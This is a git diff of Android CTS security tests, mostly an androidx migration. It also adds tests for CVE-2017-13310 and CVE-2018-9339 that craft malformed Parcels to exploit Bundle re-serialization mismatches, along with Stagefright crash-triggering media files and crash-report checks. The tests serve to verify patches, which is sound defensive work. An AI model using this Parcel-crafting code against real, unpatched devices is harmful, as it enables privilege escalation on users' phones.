diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 51d48e7..79bccf7 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -56,11 +56,13 @@
<service android:name="android.security.cts.ActivityManagerTest$AppMonitoringService" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.security.cts"
android:label="CTS tests of android.security.cts">
<meta-data android:name="listener"
android:value="com.android.cts.runner.CtsTestRunListener" />
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CrashParserRunListener" />
</instrumentation>
</manifest>
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index a146029..fd1043f 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSecurityTestCases.apk" />
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.CrashReporter" />
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.security.cts" />
<option name="runtime-hint" value="1h40m18s" />
diff --git a/tests/tests/security/res/raw/cve_2017_0696.mp4 b/tests/tests/security/res/raw/cve_2017_0696.mp4
new file mode 100644
index 0000000..651aeff
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0696.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2244.ts b/tests/tests/security/res/raw/cve_2019_2244.ts
new file mode 100644
index 0000000..9d03265
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2244.ts
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index 7e57319..14e9660 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -26,10 +26,11 @@
import android.os.IBinder;
import android.os.Process;
import android.platform.test.annotations.SecurityTest;
-import android.support.test.InstrumentationRegistry;
import android.util.Log;
import android.view.WindowManager;
+import androidx.test.InstrumentationRegistry;
+
import junit.framework.TestCase;
import java.lang.reflect.Field;
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index 47dc8f3..e7126ed 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -22,6 +22,10 @@
import android.os.BaseBundle;
import android.os.Bundle;
import android.os.Parcel;
+import android.os.Parcelable;
+import android.view.AbsSavedState;
+import android.view.View;
+import android.view.View.BaseSavedState;
import android.annotation.SuppressLint;
import java.io.InputStream;
@@ -33,7 +37,203 @@
public class AmbiguousBundlesTest extends AndroidTestCase {
+ /*
+ * b/71992105
+ */
@SecurityTest(minPatchLevel = "2018-05")
+ public void test_android_CVE_2017_13310() throws Exception {
+
+ Ambiguator ambiguator = new Ambiguator() {
+
+ {
+ parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
+ parcelledDataField.setAccessible(true);
+ }
+
+ @Override
+ public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+ Random random = new Random(1234);
+ int minHash = 0;
+ for (String s : preReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+ for (String s : postReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+
+ String key;
+ int keyHash;
+
+ do {
+ key = randomString(random);
+ keyHash = key.hashCode();
+ } while (keyHash >= minHash);
+
+ padBundle(postReSerialize, preReSerialize.size(), minHash, random);
+ padBundle(preReSerialize, postReSerialize.size(), minHash, random);
+
+ String key2;
+ int key2Hash;
+ do {
+ key2 = makeStringToInject(random);
+ key2Hash = key2.hashCode();
+ } while (key2Hash >= minHash || key2Hash <= keyHash);
+
+
+ Parcel parcel = Parcel.obtain();
+
+ parcel.writeInt(preReSerialize.size() + 2);
+ parcel.writeString(key);
+
+ parcel.writeInt(VAL_PARCELABLE);
+ parcel.writeString("com.android.internal.widget.ViewPager$SavedState");
+
+ (new View.BaseSavedState(AbsSavedState.EMPTY_STATE)).writeToParcel(parcel, 0);
+
+ parcel.writeString(key2);
+ parcel.writeInt(VAL_BUNDLE);
+ parcel.writeBundle(postReSerialize);
+
+ writeBundleSkippingHeaders(parcel, preReSerialize);
+
+ parcel.setDataPosition(0);
+ Bundle bundle = new Bundle();
+ parcelledDataField.set(bundle, parcel);
+ return bundle;
+ }
+
+ private String makeStringToInject(Random random) {
+ Parcel p = Parcel.obtain();
+ p.writeInt(VAL_INTARRAY);
+ p.writeInt(13);
+
+ for (int i = 0; i < VAL_INTARRAY / 2; i++) {
+ int paddingVal;
+ if(1 > 3) {
+ paddingVal = 0x420041 + (i << 17) + (i << 1);
+ } else {
+ paddingVal = random.nextInt();
+ }
+ p.writeInt(paddingVal);
+ }
+
+ p.setDataPosition(0);
+ String result = p.readString();
+ p.recycle();
+ return result;
+ }
+ };
+
+ testAmbiguator(ambiguator);
+ }
+
+ /*
+ * b/71508348
+ */
+ @SecurityTest(minPatchLevel = "2018-06")
+ public void test_android_CVE_2018_9339() throws Exception {
+
+ Ambiguator ambiguator = new Ambiguator() {
+
+ private static final String BASE_PARCELABLE = "android.telephony.CellInfo";
+ private final Parcelable smallerParcelable;
+ private final Parcelable biggerParcelable;
+
+ {
+ parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
+ parcelledDataField.setAccessible(true);
+
+ smallerParcelable = (Parcelable) Class.forName("android.telephony.CellInfoGsm").newInstance();
+ biggerParcelable = (Parcelable) Class.forName("android.telephony.CellInfoLte").newInstance();
+
+ Parcel p = Parcel.obtain();
+ smallerParcelable.writeToParcel(p, 0);
+ int smallerParcelableSize = p.dataPosition();
+ biggerParcelable.writeToParcel(p, 0);
+ int biggerParcelableSize = p.dataPosition() - smallerParcelableSize;
+ p.recycle();
+
+ if (smallerParcelableSize >= biggerParcelableSize) {
+ throw new AssertionError("smallerParcelableSize >= biggerParcelableSize");
+ }
+ }
+
+ @Override
+ public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+ // Find key that has hash below everything else
+ Random random = new Random(1234);
+ int minHash = 0;
+ for (String s : preReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+ for (String s : postReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+
+ String key;
+ int keyHash;
+
+ do {
+ key = randomString(random);
+ keyHash = key.hashCode();
+ } while (keyHash >= minHash);
+
+ // Pad bundles
+ padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
+ padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);
+
+ // Write bundle
+ Parcel parcel = Parcel.obtain();
+
+ parcel.writeInt(preReSerialize.size() + 1); // Num key-value pairs
+ parcel.writeString(key); // Key
+
+ parcel.writeInt(VAL_PARCELABLE);
+ parcel.writeString("android.service.autofill.SaveRequest");
+
+ // read/writeTypedArrayList
+ parcel.writeInt(2); // Number of items in typed array list
+ parcel.writeInt(1); // Item present flag
+ parcel.writeString(BASE_PARCELABLE);
+ biggerParcelable.writeToParcel(parcel, 0);
+ parcel.writeInt(1); // Item present flag
+ smallerParcelable.writeToParcel(parcel, 0);
+
+ // read/writeBundle
+ int bundleLengthPosition = parcel.dataPosition();
+ parcel.writeInt(0); // Placeholder, will be replaced
+ parcel.writeInt(BUNDLE_MAGIC);
+ int bundleStart = parcel.dataPosition();
+ for (int i = 0; i < INNER_BUNDLE_PADDING; i++) {
+ parcel.writeInt(414100 + i); // Padding in inner bundle
+ }
+ parcel.writeInt(-1); // Inner bundle length after re-de-serialization (-1 = null Bundle)
+ writeBundleSkippingHeaders(parcel, postReSerialize);
+ int bundleEnd = parcel.dataPosition();
+
+ // Update inner Bundle length
+ parcel.setDataPosition(bundleLengthPosition);
+ parcel.writeInt(bundleEnd - bundleStart);
+ parcel.setDataPosition(bundleEnd);
+
+ // Write original Bundle contents
+ writeBundleSkippingHeaders(parcel, preReSerialize);
+
+ // Package crafted Parcel into Bundle so it can be used in regular Android APIs
+ parcel.setDataPosition(0);
+ Bundle bundle = new Bundle();
+ parcelledDataField.set(bundle, parcel);
+ return bundle;
+ }
+ };
+
+ testAmbiguator(ambiguator);
+ }
+
+ /*
+ * b/62998805
+ */
+ @SecurityTest(minPatchLevel = "2017-10")
public void test_android_CVE_2017_0806() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@Override
@@ -88,53 +288,14 @@
parcelledDataField.set(bundle, parcel);
return bundle;
}
-
- @Override
- protected String makeStringToInject(Bundle stuffToInject, Random random) {
- Parcel p = Parcel.obtain();
- p.writeInt(0);
- p.writeInt(0);
-
- Parcel p2 = Parcel.obtain();
- stuffToInject.writeToParcel(p2, 0);
- int p2Len = p2.dataPosition() - BUNDLE_SKIP;
-
- for (int i = 0; i < p2Len / 4 + 4; i++) {
- int paddingVal;
- if (i > 3) {
- paddingVal = i;
- } else {
- paddingVal = random.nextInt();
- }
- p.writeInt(paddingVal);
-
- }
-
- p.appendFrom(p2, BUNDLE_SKIP, p2Len);
- p2.recycle();
-
- while (p.dataPosition() % 8 != 0) p.writeInt(0);
- for (int i = 0; i < 2; i++) {
- p.writeInt(0);
- }
-
- int len = p.dataPosition() / 2 - 1;
- p.writeInt(0); p.writeInt(0);
- p.setDataPosition(0);
- p.writeInt(len);
- p.writeInt(len);
- p.setDataPosition(0);
- String result = p.readString();
- p.recycle();
- return result;
- }
};
testAmbiguator(ambiguator);
}
-
-
+ /*
+ * b/73252178
+ */
@SecurityTest(minPatchLevel = "2018-05")
public void test_android_CVE_2017_13311() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@@ -221,16 +382,14 @@
parcelledDataField.set(bundle, parcel);
return bundle;
}
-
- @Override
- protected String makeStringToInject(Bundle stuffToInject, Random random) {
- return null;
- }
};
testAmbiguator(ambiguator);
}
+ /*
+ * b/71714464
+ */
@SecurityTest(minPatchLevel = "2018-04")
public void test_android_CVE_2017_13287() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@@ -285,46 +444,6 @@
parcelledDataField.set(bundle, parcel);
return bundle;
}
-
- @Override
- protected String makeStringToInject(Bundle stuffToInject, Random random) {
- Parcel p = Parcel.obtain();
- p.writeInt(0);
- p.writeInt(0);
-
- Parcel p2 = Parcel.obtain();
- stuffToInject.writeToParcel(p2, 0);
- int p2Len = p2.dataPosition() - BUNDLE_SKIP;
-
- for (int i = 0; i < p2Len / 4 + 4; i++) {
- int paddingVal;
- if (i > 3) {
- paddingVal = i;
- } else {
- paddingVal = random.nextInt();
- }
- p.writeInt(paddingVal);
-
- }
-
- p.appendFrom(p2, BUNDLE_SKIP, p2Len);
- p2.recycle();
-
- while (p.dataPosition() % 8 != 0) p.writeInt(0);
- for (int i = 0; i < 2; i++) {
- p.writeInt(0);
- }
-
- int len = p.dataPosition() / 2 - 1;
- p.writeInt(0); p.writeInt(0);
- p.setDataPosition(0);
- p.writeInt(len);
- p.writeInt(len);
- p.setDataPosition(0);
- String result = p.readString();
- p.recycle();
- return result;
- }
};
testAmbiguator(ambiguator);
@@ -381,7 +500,10 @@
protected static final int PROCSTATS_SYS_MEM_USAGE_COUNT = 16;
protected static final int PROCSTATS_SPARSE_MAPPING_TABLE_ARRAY_SIZE = 4096;
- protected final Field parcelledDataField;
+ protected static final int BUNDLE_MAGIC = 0x4C444E42;
+ protected static final int INNER_BUNDLE_PADDING = 1;
+
+ protected Field parcelledDataField;
public Ambiguator() throws Exception {
parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
@@ -390,7 +512,44 @@
abstract public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception;
- abstract protected String makeStringToInject(Bundle stuffToInject, Random random);
+ protected String makeStringToInject(Bundle stuffToInject, Random random) {
+ Parcel p = Parcel.obtain();
+ p.writeInt(0);
+ p.writeInt(0);
+
+ Parcel p2 = Parcel.obtain();
+ stuffToInject.writeToParcel(p2, 0);
+ int p2Len = p2.dataPosition() - BUNDLE_SKIP;
+
+ for (int i = 0; i < p2Len / 4 + 4; i++) {
+ int paddingVal;
+ if (i > 3) {
+ paddingVal = i;
+ } else {
+ paddingVal = random.nextInt();
+ }
+ p.writeInt(paddingVal);
+
+ }
+
+ p.appendFrom(p2, BUNDLE_SKIP, p2Len);
+ p2.recycle();
+
+ while (p.dataPosition() % 8 != 0) p.writeInt(0);
+ for (int i = 0; i < 2; i++) {
+ p.writeInt(0);
+ }
+
+ int len = p.dataPosition() / 2 - 1;
+ p.writeInt(0); p.writeInt(0);
+ p.setDataPosition(0);
+ p.writeInt(len);
+ p.writeInt(len);
+ p.setDataPosition(0);
+ String result = p.readString();
+ p.recycle();
+ return result;
+ }
protected static void writeBundleSkippingHeaders(Parcel parcel, Bundle bundle) {
Parcel p2 = Parcel.obtain();
diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java
index 632ab96..e7a326fe 100644
--- a/tests/tests/security/src/android/security/cts/BitmapTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapTest.java
@@ -16,12 +16,13 @@
package android.security.cts;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
import android.graphics.Bitmap;
import android.platform.test.annotations.SecurityTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
@SecurityTest
@RunWith(AndroidJUnit4.class)
diff --git a/tests/tests/security/src/android/security/cts/MotionEventTest.java b/tests/tests/security/src/android/security/cts/MotionEventTest.java
index d36e420..6982f75 100644
--- a/tests/tests/security/src/android/security/cts/MotionEventTest.java
+++ b/tests/tests/security/src/android/security/cts/MotionEventTest.java
@@ -27,10 +27,6 @@
import android.graphics.Point;
import android.os.ParcelFileDescriptor;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.Gravity;
import android.view.InputDevice;
import android.view.MotionEvent;
@@ -38,6 +34,11 @@
import android.view.ViewGroup;
import android.view.WindowManager;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/security/src/android/security/cts/SSLConscryptPlainTextExposureTest.java b/tests/tests/security/src/android/security/cts/SSLConscryptPlainTextExposureTest.java
index 0e698f8..845877b 100644
--- a/tests/tests/security/src/android/security/cts/SSLConscryptPlainTextExposureTest.java
+++ b/tests/tests/security/src/android/security/cts/SSLConscryptPlainTextExposureTest.java
@@ -99,7 +99,7 @@
public SocketChannel socketChannel;
public SSLEngine clientEngine;
public String remoteAddress = "127.0.0.1";
- public int port = 9000;
+ public int port = 7000;
public ByteBuffer[] dataOutAppBuffers = new ByteBuffer[3];
public ByteBuffer dataOutNetBuffer;
public ByteBuffer hsInAppBuffer, hsInNetBuffer, hsOutAppBuffer, hsOutNetBuffer;
@@ -493,7 +493,7 @@
public ByteBuffer dataInAppBuffer, dataInNetBuffer;
final String hostAddress = "127.0.0.1";
- public int port = 9000;
+ public int port = 7000;
public boolean bActive = false;
public Selector selector;
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 2b86cb1..1badd8b 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -47,8 +47,13 @@
import android.view.Surface;
import android.webkit.cts.CtsTestServer;
+import com.android.compatibility.common.util.CrashUtils;
+
import java.io.BufferedInputStream;
+import java.io.BufferedReader;
+import java.io.File;
import java.io.FileInputStream;
+import java.io.FileReader;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
@@ -64,6 +69,10 @@
import java.util.concurrent.locks.Condition;
import java.util.concurrent.locks.ReentrantLock;
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
import android.security.cts.R;
@@ -76,6 +85,7 @@
static final String TAG = "StagefrightTest";
private final long TIMEOUT_NS = 10000000000L; // 10 seconds.
+ private final static long CHECK_INTERVAL = 50;
public StagefrightTest() {
}
@@ -85,6 +95,11 @@
before any existing test methods
***********************************************************/
+ @SecurityTest(minPatchLevel = "2019-04")
+ public void testStagefright_cve_2019_2244() throws Exception {
+ doStagefrightTestRawBlob(R.raw.cve_2019_2244, "video/mpeg2", 320, 420);
+ }
+
@SecurityTest(minPatchLevel = "2017-07")
public void testStagefright_bug_36725407() throws Exception {
doStagefrightTest(R.raw.bug_36725407);
@@ -1128,10 +1143,41 @@
return new Surface(surfaceTex);
}
+ public JSONArray getCrashReport(String testname, long timeout)
+ throws InterruptedException {
+ Log.i(TAG, CrashUtils.UPLOAD_REQUEST);
+ File reportFile = new File(CrashUtils.DEVICE_PATH, testname);
+ File lockFile = new File(CrashUtils.DEVICE_PATH, CrashUtils.LOCK_FILENAME);
+ while ((!reportFile.exists() || !lockFile.exists()) && timeout > 0) {
+ Thread.sleep(CHECK_INTERVAL);
+ timeout -= CHECK_INTERVAL;
+ }
+ if (!reportFile.exists() || !reportFile.isFile() || !lockFile.exists()) {
+ return null;
+ }
+ try (BufferedReader reader = new BufferedReader(new FileReader(reportFile))) {
+ StringBuilder json = new StringBuilder();
+ String line = reader.readLine();
+ while (line != null) {
+ json.append(line);
+ line = reader.readLine();
+ }
+ return new JSONArray(json.toString());
+ } catch (IOException | JSONException e) {
+ Log.e(TAG, "Failed to deserialize crash list with error " + e.getMessage());
+ return null;
+ }
+ }
+
class MediaPlayerCrashListener
- implements MediaPlayer.OnErrorListener,
+ implements MediaPlayer.OnErrorListener,
MediaPlayer.OnPreparedListener,
MediaPlayer.OnCompletionListener {
+
+ private final String[] validProcessNames = {
+ "mediaserver", "mediadrmserver", "media.extractor", "media.codec", "media.metrics"
+ };
+
@Override
public boolean onError(MediaPlayer mp, int newWhat, int extra) {
Log.i(TAG, "error: " + newWhat + "/" + extra);
@@ -1172,6 +1218,21 @@
// and see if more errors show up.
SystemClock.sleep(1000);
}
+ if (what == MediaPlayer.MEDIA_ERROR_SERVER_DIED) {
+ JSONArray crashes = getCrashReport(getName(), 5000);
+ if (crashes == null) {
+ Log.e(TAG, "Crash results not found for test " + getName());
+ return what;
+ } else if (CrashUtils.detectCrash(validProcessNames, true, crashes)) {
+ return what;
+ } else {
+ Log.i(TAG, "Crash ignored due to no security crash found for test " +
+ getName());
+ // 0 is the code for no error.
+ return 0;
+ }
+
+ }
return what;
}
@@ -1546,6 +1607,11 @@
doStagefrightTestRawBlob(R.raw.cve_2017_0687, "video/avc", 320, 240);
}
+ @SecurityTest(minPatchLevel = "2017-07")
+ public void testCve_2017_0696() throws Exception {
+ doStagefrightTestRawBlob(R.raw.cve_2017_0696, "video/avc", 320, 240);
+ }
+
@SecurityTest(minPatchLevel = "2018-01")
public void testBug_37930177() throws Exception {
doStagefrightTestRawBlob(R.raw.bug_37930177_hevc, "video/hevc", 320, 240);
diff --git a/tests/tests/selinux/selinuxTargetSdk25/Android.mk b/tests/tests/selinux/selinuxTargetSdk25/Android.mk
index f9bfc95..f0fd064 100755
--- a/tests/tests/selinux/selinuxTargetSdk25/Android.mk
+++ b/tests/tests/selinux/selinuxTargetSdk25/Android.mk
@@ -20,8 +20,8 @@
LOCAL_MULTILIB := both
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
LOCAL_JAVA_LIBRARIES := android.test.base.stubs android.test.runner.stubs
diff --git a/tests/tests/selinux/selinuxTargetSdk25/AndroidManifest.xml b/tests/tests/selinux/selinuxTargetSdk25/AndroidManifest.xml
index cac36b9..da08049 100755
--- a/tests/tests/selinux/selinuxTargetSdk25/AndroidManifest.xml
+++ b/tests/tests/selinux/selinuxTargetSdk25/AndroidManifest.xml
@@ -26,7 +26,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.selinuxtargetsdk25.cts"
android:label="CTS tests for permissions enforce by selinux based on targetSdkVersion">
<meta-data android:name="listener"
diff --git a/tests/tests/selinux/selinuxTargetSdk27/Android.mk b/tests/tests/selinux/selinuxTargetSdk27/Android.mk
index 37660a3..d839d54 100755
--- a/tests/tests/selinux/selinuxTargetSdk27/Android.mk
+++ b/tests/tests/selinux/selinuxTargetSdk27/Android.mk
@@ -20,8 +20,8 @@
LOCAL_MULTILIB := both
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
LOCAL_JAVA_LIBRARIES := android.test.base.stubs android.test.runner.stubs
diff --git a/tests/tests/selinux/selinuxTargetSdk27/AndroidManifest.xml b/tests/tests/selinux/selinuxTargetSdk27/AndroidManifest.xml
index 73b5c2b..d2addf8 100755
--- a/tests/tests/selinux/selinuxTargetSdk27/AndroidManifest.xml
+++ b/tests/tests/selinux/selinuxTargetSdk27/AndroidManifest.xml
@@ -26,7 +26,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.selinuxtargetsdk27.cts"
android:label="CTS tests for permissions enforce by selinux based on targetSdkVersion">
<meta-data android:name="listener"
diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/Android.mk b/tests/tests/selinux/selinuxTargetSdkCurrent/Android.mk
index 63bc768..6174ec8 100755
--- a/tests/tests/selinux/selinuxTargetSdkCurrent/Android.mk
+++ b/tests/tests/selinux/selinuxTargetSdkCurrent/Android.mk
@@ -20,8 +20,8 @@
LOCAL_MULTILIB := both
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
LOCAL_JAVA_LIBRARIES := android.test.base.stubs android.test.runner.stubs
diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/AndroidManifest.xml b/tests/tests/selinux/selinuxTargetSdkCurrent/AndroidManifest.xml
index ca375a3..bfcf40f 100755
--- a/tests/tests/selinux/selinuxTargetSdkCurrent/AndroidManifest.xml
+++ b/tests/tests/selinux/selinuxTargetSdkCurrent/AndroidManifest.xml
@@ -26,7 +26,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.selinuxtargetsdkcurrent.cts"
android:label="CTS tests for permissions enforce by selinux based on targetSdkVersion">
<meta-data android:name="listener"
diff --git a/tests/tests/shortcutmanager/Android.mk b/tests/tests/shortcutmanager/Android.mk
index 3982796..56a81a9 100755
--- a/tests/tests/shortcutmanager/Android.mk
+++ b/tests/tests/shortcutmanager/Android.mk
@@ -21,11 +21,11 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/tests/tests/shortcutmanager/AndroidManifest.xml b/tests/tests/shortcutmanager/AndroidManifest.xml
index d69ce5b..29b2e83 100755
--- a/tests/tests/shortcutmanager/AndroidManifest.xml
+++ b/tests/tests/shortcutmanager/AndroidManifest.xml
@@ -55,7 +55,7 @@
android:exported="false"/>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.content.pm.cts.shortcutmanager"
android:label="CTS tests for ShortcutManager">
<meta-data android:name="listener"
diff --git a/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk b/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
index bc7dc18..426bb89 100644
--- a/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
+++ b/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
@@ -27,11 +27,11 @@
$(call all-java-files-under, ../../common/src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
@@ -57,11 +57,11 @@
$(call all-java-files-under, ../../common/src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
@@ -87,11 +87,11 @@
$(call all-java-files-under, ../../common/src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk b/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
index b24debe..b894f13 100644
--- a/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
+++ b/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
@@ -26,11 +26,11 @@
$(call all-java-files-under, ../../common/src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk b/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
index e683780..e645177 100644
--- a/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
+++ b/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
@@ -26,11 +26,11 @@
$(call all-java-files-under, ../../common/src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
@@ -56,11 +56,11 @@
$(call all-java-files-under, ../../common/src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
@@ -86,11 +86,11 @@
$(call all-java-files-under, ../../common/src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
index 51e8165..aa0112a 100644
--- a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
+++ b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
@@ -26,11 +26,11 @@
$(call all-java-files-under, ../../common/src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerFakingPublisherTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerFakingPublisherTest.java
index baa47b0..ed737b0 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerFakingPublisherTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerFakingPublisherTest.java
@@ -25,10 +25,9 @@
import android.content.pm.PackageManager.NameNotFoundException;
import android.content.pm.ShortcutInfo;
import android.platform.test.annotations.SecurityTest;
-import android.support.test.InstrumentationRegistry;
import android.test.suitebuilder.annotation.SmallTest;
-import org.junit.Assume;
+import androidx.test.InstrumentationRegistry;
/**
* CTS for b/109824443.
diff --git a/tests/tests/shortcutmanager/throttling/Android.mk b/tests/tests/shortcutmanager/throttling/Android.mk
